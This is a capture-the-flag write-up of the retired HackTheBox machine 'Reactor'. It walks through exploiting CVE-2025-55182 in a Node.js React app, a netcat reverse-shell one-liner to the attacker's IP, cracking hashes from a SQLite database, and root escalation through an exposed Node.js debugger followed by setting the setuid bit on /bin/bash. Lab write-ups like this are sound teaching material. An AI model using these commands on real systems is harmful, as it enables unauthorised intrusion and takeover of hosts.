HackTheBox Writeup: Reactor

18 Oct 2026 · HTB · 11 min
Machine
Reactor
OS
Linux
Difficulty
Easy
Released
23 May 2026
Status
Retired
Rating
★4.1 / 5.0
Table of Contents

Overview

Reactor is an easy Linux machine that runs a Node.js web application on port 3000. The application is vulnerable to CVE-2025-55182, an unauthenticated remote code execution flaw in the React Flight decoder, which gives us a shell as the web server user. A SQLite database in the web directory holds password hashes, and one of them cracks to the password of the engineer user, so we can log in over SSH. A Node.js process that runs as root exposes its debugger on localhost, and connecting to it gives us code execution as root.

Enumeration

We initiated our exploitation process by conducting comprehensive enumeration of the target machine. This phase is critical for identifying potential attack vectors and understanding the system’s architecture.

Nmap Scan

To identify which ports and services are running on the target machine, we executed an Nmap scan with service version detection and default scripts:

Reactor ➜ nmap -sC -sV 10.129.245.214
Nmap Scan

Nmap Scan

Results:

The scan revealed that the target system has a limited attack surface with only 2 open ports:

Port Service Description
22 SSH Standard secure shell service for remote administration
3000 HTTP Web Application A web service running on Node.js/Express

Reviewing Web Application

With our reconnaissance complete, we began analyzing the web application hosted on port 3000.

Access Point:

http://10.129.245.214:3000/

We attempted various enumeration techniques against the web application, but initial approaches did not yield immediate results. However, by analyzing the HTTP response headers and inspecting the application’s behavior in Burp Suite, we were able to identify critical information about the backend technology stack.

Node JS

Through careful analysis of the HTTP responses and server headers, we identified that the backend is powered by Node.js. This discovery was crucial because it directed our vulnerability research toward Node.js-specific CVEs and attack vectors.

Node JS

Node JS

We were able to gather the Node JS version (15.0.3).

Node JS Version

Node JS Version

Exploitation

After gathering sufficient information about the target system, we researched potential vulnerabilities associated with Node.js 15.0.3 and identified a critical security flaw that would allow us to execute arbitrary code on the target system without requiring any authentication.

CVE Review

Our vulnerability research led us to identify CVE-2025-55182, a critical unauthenticated remote code execution vulnerability in the React Flight decoder used by React Server Components.

Here’s a simplified explanation of the vulnerability:

  1. Prototype Chain Traversal: The decoder allows traversing object prototypes using special syntax ($N:__proto__:constructor), which leads to access to the JavaScript Function constructor
  2. Forged Chunk Objects: Attackers can create fake chunk objects that the decoder treats as legitimate
  3. Blob Sink Exploitation: The decoder’s blob reference handling can be hijacked to create functions from arbitrary JavaScript strings
  4. Code Execution: When the server awaits these forged objects, the attacker’s code executes with full Node.js process privileges

The vulnerability exists because the Flight decoder processes and deserializes data before validating its authenticity and origin, allowing a carefully crafted payload to bypass security checks.

Reference Documentation: https://www.resecurity.com/blog/article/react2shell-explained-cve-2025-55182-from-vulnerability-discovery-to-exploitation

From: resecurity.com

From: resecurity.com

Validate PoC

Before attempting to gain a full reverse shell (which could be unstable or cause issues), we first validated that the Remote Code Execution (RCE) vulnerability actually exists on the target system. This is a best practice in penetration testing: confirm vulnerability before exploitation.

Proof of Concept Command:

We crafted a simple proof of concept that attempts to ping our attacking machine:

node exploit.js http://10.129.245.214:3000/ "ping -c 3 10.10.14.115"

This command:

  1. Takes the CVE-2025-55182 exploit code
  2. Targets the vulnerable React Flight decoder on the target
  3. Executes the ping command with 3 ICMP packets directed at our machine (10.10.14.115)
  4. If successful, our machine receives ICMP echo packets from the target

Verification Method:

To confirm that the RCE was successful, we monitored incoming traffic on our attacking machine:

sudo tcpdump -i tun0 icmp

This tcpdump command captures all ICMP packets (which is what ping uses) on our network interface, allowing us to see if the target machine actually pings us.

Validate RCE

Validate RCE

This successful ping test validated that we could proceed with more advanced exploitation techniques.

Gaining Reverse Shell

With the RCE vulnerability confirmed, we proceeded to establish a persistent interactive shell connection to the target system. Rather than executing single commands, we crafted a payload that creates a reverse shell—a bidirectional communication channel that allows us to send commands and receive output interactively.

Reverse Shell Payload:

node exploit.js http://10.129.245.214:3000/ \
  "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.115 4444 >/tmp/f"
Reactor ➜ penelope -p 4444 -i tun0 
Gained Reverse Shell

Gained Reverse Shell

What Penelope Does:

  • Detects the raw shell connection
  • Allocates a proper pseudo-terminal (PTY)
  • Negotiates terminal capabilities with the shell
  • Enables advanced features: arrow keys, backspace, tab completion, colors, Ctrl+C handling
  • Transforms a basic shell into a fully functional interactive terminal

We have successfully established a user-level shell on the target system as the www-data user. This is the web server user, not root, so we need to proceed with privilege escalation.

Post-Enumeration

Now that we have obtained initial access to the target system, we began the post-exploitation enumeration phase. This involves exploring the file system, identifying data repositories, and looking for credentials or information that could aid in privilege escalation.

One of our first discoveries during post-exploitation enumeration was a SQLite database file named reactor.db located in the web application directory. This database contains application data including user credentials, which would be valuable for lateral movement or privilege escalation.

SQLite Database

SQLite Database

SQLite Database Enumeration

We are able to access the SQLite database. We utilized the following commands to further enumerate this database and extract the hashed passwords.

bash-5.2$ sqlite3 reactor.db

sqlite> .tables

sqlite> SELECT username, password_hash FROM users;
Hashes Discovered

Hashes Discovered

Cracking Hash

We were able to post the hashes to crackstation. We were able to decrypt 1 hash, which has the password: reactor1.

Cracked Hash

Cracked Hash

SSH Login

With a valid username and password, we can now authenticate to the target system via SSH, which is more stable and reliable than our current reverse shell connection.

Reactor ➜ ssh [email protected]      
SSH Login

SSH Login

We entered: reactor1

We now have a solid foothold on the system as the engineer user. However, we are still not root, so we must continue with privilege escalation enumeration.

Post-Exploitation

With user-level access as the engineer account, we began searching for privilege escalation vectors. The goal is to identify a way to escalate our privileges from engineer (UID 1000) to root (UID 0).

Local Service

During our enumeration of running services and open ports, we discovered an interesting service listening on localhost. Among the services, we identified a Node.js process running as root listening on port 9229:

-bash-5.2$ ss -tulnp

-bash-5.2$ ps -aux | grep 9229
Local Service Identified

Local Service Identified

The combination of these factors creates a critical privilege escalation vulnerability: a root-owned Node.js process with an unprotected debugger interface accessible to our engineer user.

Investigating Local Service

To better understand this privilege escalation vector, we examined the source code of the worker.js script that the Node.js process is executing:


// Import required Node.js modules
const http = require('http');
const fs = require('fs');

// ============ CONFIGURATION ============
const TARGET_URL = 'http://127.0.0.1:3000/';
const CSV_FILE = '/var/log/uptime-monitor.csv';
const INTERVAL_MS = 30_000;
const TIMEOUT_MS = 10_000;

// ============ UTILITY FUNCTIONS ============
/**
 * Escapes CSV special characters to ensure proper CSV formatting
 * Wraps values containing quotes, commas, or newlines in quotes
 * and doubles internal quotes to escape them
 */
function csvEscape(value) {
    const s = String(value ?? '');
    return /[",\n]/.test(s) ? `"${s.replace(/"/g, '""')}"` : s;
}

/**
 * Records monitoring results to the CSV log file
 * Appends a new row with timestamp, HTTP status, response time, response size, and any errors
 */
function record({ status, latency, size, error }) {
    const row = [
        new Date().toISOString(),  // Current timestamp in ISO format
        status ?? '',               // HTTP status code (e.g., 200, 500) or empty if error
        latency ?? '',              // Response time in milliseconds
        size ?? '',                 // Response body size in bytes
        error ?? '',                // Error message if request failed
    ]
        .map(csvEscape)             // Escape each field for CSV format
        .join(',') + '\n';          // Join with commas and add newline

    // Append row to CSV file (synchronous append)
    fs.appendFileSync(CSV_FILE, row);
}

// ============ MONITORING FUNCTION ============
/**
 * Performs a single HTTP probe to TARGET_URL and logs results
 * Records: HTTP status, response time, response size, and any errors
 */
function probe() {
    // Start high-resolution timer (returns BigInt in nanoseconds)
    const start = process.hrtime.bigint();
    let bytes = 0;

    // Make HTTP GET request to TARGET_URL with timeout
    const req = http.get(TARGET_URL, { timeout: TIMEOUT_MS }, (res) => {
        // Handle incoming response data
        res.on('data', (chunk) => {
            bytes += chunk.length;  // Accumulate response body size
        });

        // Handle end of response
        res.on('end', () => {
            // Calculate elapsed time in milliseconds (BigInt / 1,000,000)
            const latencyMs = Number(
                (process.hrtime.bigint() - start) / 1_000_000n
            );

            // Log successful response
            record({
                status: res.statusCode,  
                latency: latencyMs,      
                size: bytes, 
            });
        });
    });

    // Handle network errors (connection refused, DNS failures, etc.)
    req.on('error', (error) => {
        const latencyMs = Number(
            (process.hrtime.bigint() - start) / 1_000_000n
        );

        // Log error without status code
        record({
            latency: latencyMs,
            error: error.code || error.message,  // Error type or message
        });
    });

    // Handle timeout (no response within TIMEOUT_MS)
    req.on('timeout', () => {
        req.destroy();  // Forcefully close the request

        // Log timeout as an error
        record({
            latency: TIMEOUT_MS,  // Record the timeout threshold as latency
            error: 'TIMEOUT',     // Mark as timeout error
        });
    });
}

// ============ MAIN EXECUTION ============
// Schedule probe to run every 30 seconds
setInterval(probe, INTERVAL_MS);

probe();

// Log startup message with process ID
console.log('uptime-monitor up, pid=' + process.pid);

The uptime-monitor is a service that:

  1. Periodically probes the React web application on port 3000 every 30 seconds
  2. Measures performance metrics: response time, response size, HTTP status
  3. Logs results to a CSV file with detailed timestamps
  4. Detects failures including timeouts and connection errors
  5. Runs continuously as a background monitoring service

Security Implications:

  • The process runs as root, giving it full system privileges
  • The Node.js process was started with --inspect flag, enabling the debugger

This creates a critical privilege escalation path: we can connect to the debugger and execute arbitrary code with root privileges.

Reviewing debug functionality

The Node.js --inspect flag enables a powerful debugging interface that allows remote code execution. Since this root-owned process has an unprotected debugger, we can leverage it for privilege escalation.

Connect to Debugger
-bash-5.2$ node inspect 127.0.0.1:9229
Enumerate Global Scope

Object.keys() is a JavaScript method that lists all properties of an object.

debug> exec Object.keys(global)
Debugging Console

Debugging Console

Check Process Object Available

process is a core Node.js object that gives access to the running process

debug> exec typeof process
Check Process Object

Lists all properties and methods on the process object. MaonModule is there.

debug> exec Object.keys(process)
debug> exec process.mainModule

The main module object contains the require() function from when the script loaded.

Access MainModule

Access MainModule

Load ChildProcess Module

This module lets us execute system commands with execSync(), exec(), spawn(), etc.

debug> exec process.mainModule.require('child_process')
Execute Commands as Root
exec process.mainModule.require('child_process').execSync('whoami').toString()
Executed Command

Executed Command

Breaking this down:

Part Meaning
process.mainModule The main worker.js module
.require('child_process') Load the command execution module
.execSync() Execute a shell command and wait for output
'whoami' The command to run (shows current user)
.toString() Convert the output (Buffer) to a string
Escalate to root

We’ll use the root command execution to modify the permissions on /bin/bash, adding the setuid bit. This will allow any user (including our engineer account) to run bash with root privileges without needing the debugger.

debug> exec process.mainModule.require('child_process').execSync('chmod u+s /bin/bash').toString()
-bash-5.2$ bash -p
Escalate to root

Escalate to root

We have successfully escalated privileges from engineer (UID 1000) to root (UID 0) and compromised the entire system.

← Back to HackTheBox Writeups